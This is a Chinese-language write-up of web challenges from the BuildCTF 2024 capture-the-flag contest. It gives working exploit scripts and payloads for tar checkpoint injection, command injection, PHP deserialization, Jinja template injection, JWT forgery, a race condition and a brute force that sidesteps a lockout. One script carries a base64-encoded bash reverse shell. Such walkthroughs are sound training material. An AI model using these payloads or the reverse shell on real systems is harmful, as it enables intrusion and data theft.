BuildCTF 2024 web部分wp

92

打包给你

解题过程

源码如下

from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os


app = Flask(__name__)


@app.before_request
def check_uuid():
    uuid_cookie = request.cookies.get('uuid', None)

    if uuid_cookie is None:
        response = make_response(redirect('/'))
        response.set_cookie('uuid', str(uuid.uuid4()))
        return response
    
    try:
        uuid.UUID(uuid_cookie)
    except ValueError:
        response = make_response(redirect('/'))
        response.set_cookie('uuid', str(uuid.uuid4()))
        return response
    
    g.uuid = uuid_cookie

    if not os.path.exists(f'uploads/{g.uuid}'):
        os.mkdir(f'uploads/{g.uuid}')


@app.route('/', methods=['GET'])
def main():
    return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
    
    
@app.route('/api/upload', methods=['POST'])
def upload():
    file = request.files.get('file', None)
    if file is None:
        return 'No file provided', 400
    
    # check for path traversal
    if '..' in file.filename or '/' in file.filename:
        return 'Invalid file name', 400
    
    # check file size
    if len(file.read()) > 1000:
        return 'File too large', 400
    
    file.save(f'uploads/{g.uuid}/{file.filename}')
    return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200


@app.route('/api/download', methods=['GET'])
def download():
    @after_this_request
    def remove_file(response):
        os.system(f"rm -rf uploads/{g.uuid}/out.tar")
        return response

    # make a tar of all files
    os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

    # send tar to user
    return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')



if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8888, threaded=True)

漏洞点在于这一段代码

linux底下有一种执行命令的方法,常用于提权,这里tar -cf out.tar ,命令执行的时候, 会匹配所有的文件名并将匹配到的 element 传入到 argv 中。但是文件名也是字符串,参数也是字符串,因此在 argv 中会出现混淆。

那么我们就可以利用"--checkpoint=1 --checkpoint-action=exec=whoami"去执行命令

因此如果我们上传两个文件名分别为 --checkpoint=1 和 --checkpoint-action=exec=whoami 的文件就能成功的去执行命令.

脚本执行后进行反弹shell

flag 在根目录,/Guess_my_name

exp或payload

import requests, base64
URL = "http://27.25.151.80:44697/"
session = requests.Session()
cmd = b"bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}'"
session.request("GET", URL)
 
files = {"file": ("asdfasdf", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
 
files = {"file": ("--checkpoint=1", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
 
files = {"file": (f"--checkpoint-action=exec=echo '{base64.b64encode(cmd).decode()}' | base64 -d | bash", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
 
resp = session.request("GET", f"{URL}/api/download")

刮刮乐

考点

1、Referer头

2、rce绕过(猜测后端代码为system($a." >/dev/null 2>&1");)

解题过程

进来就先刮,刮完就给提示参数为cmd了

然后使用cmd参数后会提示你不是来自baidu.com的人,这里使用Referer头来绕过校验

然后就不提示了,接下来使用cmd来传入参数,猜测是命令执行

但是经过测试,任何命令都不回显,>1.txt却能够写入文件,只不过文件是空的,于是可以猜测后端代码为system($c." >/dev/null 2>&1");

那么我们就可以尝试一下%0a || ; 来进行截断绕过

ls%0a

成功执行命令

我写的网站被rce了?

解题过程

给的是一个系统

在日志处用的是传入access,而不是传入access.log

拼接上1后会提示waf

拼接字符可以发现输入的字符被拼接在了access和.log之间,那么猜测可以使用%0a进行换行来绕过拼接

执行一个id看看

成功执行命令

后续还有过滤cat,空格,*号之类的,正常绕过即可

payload如下

log_type=access%0aca\t$IFS/?lag%0a

babyupload

解题过程

访问网址没给信息

直接开扫目录

扫描出来了一个upload.php

随便传了一个后门图片

被过滤了

修改mime为image/jpeg加上头部GIF89a后成功上传,添加后门代码试试

被过滤了,继续测

这里直接使用短标签来绕过

<?=`ls`?>

成功上传,但是不解析,猜测需要上传.user.ini或者是.htaccess

经过测试发现能够成功上传.htaccess

猜测flag在env环境变量中

这里也过滤了env,直接使用''拼接

成功上传

eazyl0gin

考点

javascript大小写特性,具体参考P神的文章Fuzz中的javascript大小写特性 | 离别歌

解题过程

访问题目地址

关键代码如下

由于题目需要登录的是BUILDCTF,这里可以利用toUpperCase函数特性"ı".toUpperCase() == 'I',构造BUıLDCTF来进行登录,密码md5值可以拿到cmd5中进行穷举

然后使用BUıLDCTF和012346来尝试登录

ez_md5

题目一:

$sql = "SELECT flag FROM flags WHERE password = '".md5($password,true)."'";

题目二

<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('不可以哦!'); 
    } 
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
    if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
    {
        echo $flag;
    }else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>

考点

1、ffifdyop 在md5($password,true)中会被加密成'or'xxx

2、md5数组绕过

3、在php中参数_的替换 Build_CTF.com

4、md5的爆破 md5(114514xxxxxxx) == 3e41f780146b6c246cd49dd296a3da28

解题过程

1、输入ffifdyop绕过第一关

2、根据提示可以查看robots.txt,发现md5(114514xxxxxxx)

3、编写脚本对 md5(114514xxxxxxx) == 3e41f780146b6c246cd49dd296a3da28 进行爆破

4、get传入数组绕过第一个if检测,post传入Build[CTF.com=1145146803531即可

exp或payload

import hashlib

def md5_hash(s):
    return hashlib.md5(s.encode()).hexdigest()

target_md5 = '3e41f780146b6c246cd49dd296a3da28'
prefix = '114514'

for i in range(10000000):  # 可调整范围
    guess = f"{prefix}{str(i).zfill(7)}"  # 生成114514后接7位数
    if md5_hash(guess) == target_md5:
        print(f"找到匹配: {guess}")
        break
else:
    print("未找到匹配")

ez_waf

考点

文件上传脏数据绕waf

解题过程

经过测试,不对上传文件的后缀进行拦截,只对内容进行拦截

使用大量脏数据来绕过waf,上传后门文件

即可进行命令执行

ez!http

解题过程

查看数据包

发现传参给user了一个admin,修改为root即可

修改Referer

修改UA头

修改XFF头

修改Date头

修改From头

修改Via头

修改Accept-Language

这里我点击后拿不到flag

只需要POST传getFlag=This_is_flag即可

fake_signin

解题过程

源码如下:

import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'BuildCTF'

CURRENT_DATE = datetime(2024, 9, 30)

users = {
    'admin': {
        'password': 'admin',
        'signins': {},
        'supplement_count': 0,  
    }
}


@app.route('/')
def index():
    if 'user' in session:
        return redirect(url_for('view_signin'))
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username]['password'] == password:
            session['user'] = username
            return redirect(url_for('view_signin'))
    return render_template('login.html')

@app.route('/view_signin')
def view_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    signins = user['signins']

    dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
             for i in range(1, 31)]

    today = CURRENT_DATE.strftime("%Y-%m-%d")
    today_signed_in = today in signins

    if len([d for d in signins.values() if d]) >= 30:
        return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
    return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)

@app.route('/signin')
def signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    today = CURRENT_DATE.strftime("%Y-%m-%d")

    if today not in user['signins']:
        user['signins'][today] = True
    return redirect(url_for('view_signin'))

@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    supplement_message = ""

    if request.method == 'POST':
        supplement_date = request.form.get('supplement_date')
        if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"
        return redirect(url_for('view_signin'))

    supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
    return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)

@app.route('/logout')
def logout():
    session.pop('user', None)   
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5051)

源码中给了账号密码admin/admin

大概就是需要你把全部都签到完,但是只有一次的补签次数

if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"

这个代码是补签的逻辑,先判断补签次数,限制只能补签一次,如果没补签过,补签成功,将该日期标记为已签到并增加补签计数。

可以考虑条件竞争,直接用yakit进行并发一手或者写脚本跑

exp或payload

import requests
import threading
import time

url = 'http://27.25.151.80:44759/supplement_signin'
headers = {
    "Host": "27.25.151.80:44759",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "26",
    "Origin": "http://27.25.151.80:44759",
    "Connection": "close",
    "Referer": "http://27.25.151.80:44759/supplement_signin",
    "Cookie": "session=eyJ1c2VyIjoiYWRtaW4ifQ.Zx8qqg.QPo0yebiHaEDzbzVoBzNTEX9H68",
}


def send_request(day):
    data = f"supplement_date=2024-09-{day:02d}"
    response = requests.post(url, headers=headers, data=data)
    print(f"Day {day:02d} Response: {response.status_code} ")

    with open("1.txt", "a", encoding="utf-8") as f:
        f.write(f"Day {day:02d} Response: {response.status_code}\n")
        f.write(response.text + "\n\n")


threads = []

for day in range(1, 31):
    thread = threading.Thread(target=send_request, args=(day,))
    threads.append(thread)
    thread.start()

for thread in threads:
    thread.join()

find-the-id

解题过程

没看懂这个题目的意义,单纯爆破

出题人让我们取爆破数字

上bp开爆

直接给了flag是我没想到的

LovePopChain

解题过程

源码如下

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}



if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);
}else{
    highlight_file(__FILE__);
}

比较常规的pop链题目,直接构造就行了。

链子思路如下

MyObject::__wakeup()->hybcx::__toString()->MyObject::__invoke()->GaoZhouYue::__clone()->eval($_POST['y3y4']);

exp或payload

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
}
class GaoZhouYue
{
    public $Yuer;
    public $LastOne;
}
class hybcx{
    public $JiuYue;
    public $Si ;
}
$a = new MyObject();
$b = new hybcx();
$a->NoLove = $b;
$b->Si = $a;
echo serialize($a);

用POST传参进行rce即可

Redflag

源码如下

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/redflag/<path:redflag>')
def redflag(redflag):
    def safe_jinja(payload):
        payload = payload.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
    return flask.render_template_string(safe_jinja(redflag))

解题过程

考察SSTI

{{url_for.__globals__['current_app'].config['FLAG']}}

调用了全局对象的config中的FLAG,而代码只是检测当前对象的config变量,所以不会被过滤

sub

解题过程

访问题目平台

这里注册一个号然后进行登录,看看数据包

在返回包中可以看到jwt的值,然后源码给了我们JWT的值

源码如下

import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
    if request.method == 'POST':
        name = request.form.get('name')
        content = request.form.get('content')

        messages.append({'name': name, 'content': content})
        flash('Message posted')
        return redirect(url_for('message'))  

    return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            flash('Username already exists')
            return redirect(url_for('register'))
        users[username] = {'password': generate_password_hash(password), 'role': 'user'}
        flash('User registered successfully')
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and check_password_hash(users[username]['password'], password):
            access_token = jwt.encode({
                'sub': username,
                'role': users[username]['role'],
                'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
            }, app.config['JWT_SECRET_KEY'], algorithm='HS256')
            response = make_response(render_template('page.html'))
            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
            # response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
            return response
        else:
            return jsonify({"msg": "Invalid username or password"}), 401
    return render_template('login.html')

@app.route('/logout')
def logout():
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('jwt', '', expires=0)
    flash('You have been logged out')
    return resp

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/page')
def page():
    jwt_token = request.cookies.get('jwt')
    if jwt_token:
        try:
            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']
        except jwt.ExpiredSignatureError:
            return jsonify({"msg": "Token has expired"}), 401
        except jwt.InvalidTokenError:
            return jsonify({"msg": "Invalid token"}), 401
        except Exception as e:
            return jsonify({"msg": "Invalid or expired token"}), 401

        if role != 'admin' or current_user not in users:
            return abort(403, 'Access denied')

        file = request.args.get('file', '')
        file_path = os.path.join(DOCUMENT_DIR, file)
        file_path = os.path.normpath(file_path)
        if not file_path.startswith(DOCUMENT_DIR):
            return abort(400, 'Invalid file name')

        try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
        except subprocess.CalledProcessError as e:
            content = str(e)
        except Exception as e:
            content = str(e)
        return render_template('page.html', content=content)
    else:
        return abort(403, 'Access denied')


@app.route('/categories')
def categories():
    return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5050)

可以得到JWT的secret=BuildCTF

对jwt的值进行伪造,将sub和role改为admin

访问page?file=test1.txt,这次成功进行读取了,说明成功伪造了admin的jwt

输入一点别的看看

这里可以发现报错返回了Command 'cat /var/www/html/src/docs/xxx',这里的xxx是我们输入的文件名,那么就可以猜测后端代码为system('cat /var/www/html/src/docs/xxx'),所以我们可以利用逻辑拼接来绕过

; || | %0a这些来绕过

然后能够发现无法直接使用ls /进行查看根目录的信息,这里提供两个方法

1、ls />1.txt cat 1.txt

2、;cd ..;cd ..;cd ..;cd ..;ls

然后读取flag直接cat /flag即可

tflock

解题过程

这里直接爆破会进行锁定,可以先使用ctfer进行成功登录一次,然后再进行爆破一次admin账号的密码

exp或payload

爆破脚本如下

import request
import requests

url="http://27.25.151.80:36905/login.php"
def ctfer_login():
    ctf_payload = {"username": "ctfer", "password": 123456}
    res = requests.post(url, data=ctf_payload)
    print(res.text)
lines=[]
with open('1.txt','r') as file:
    for line in file:
        lines.append(line)

lines_end = [pwd.strip() for pwd in lines]
print(lines_end)

with open('1.txt', 'r') as file:
    for line in file:
        line = line.strip()
        print(line)
        admin_payload = {"username": "admin", "password": line}
        print(admin_payload)
        res = requests.post(url, data=admin_payload)
        print(res.text)
        ctfer_login()
        if '"success":true' in res.text:
            print(line)
            break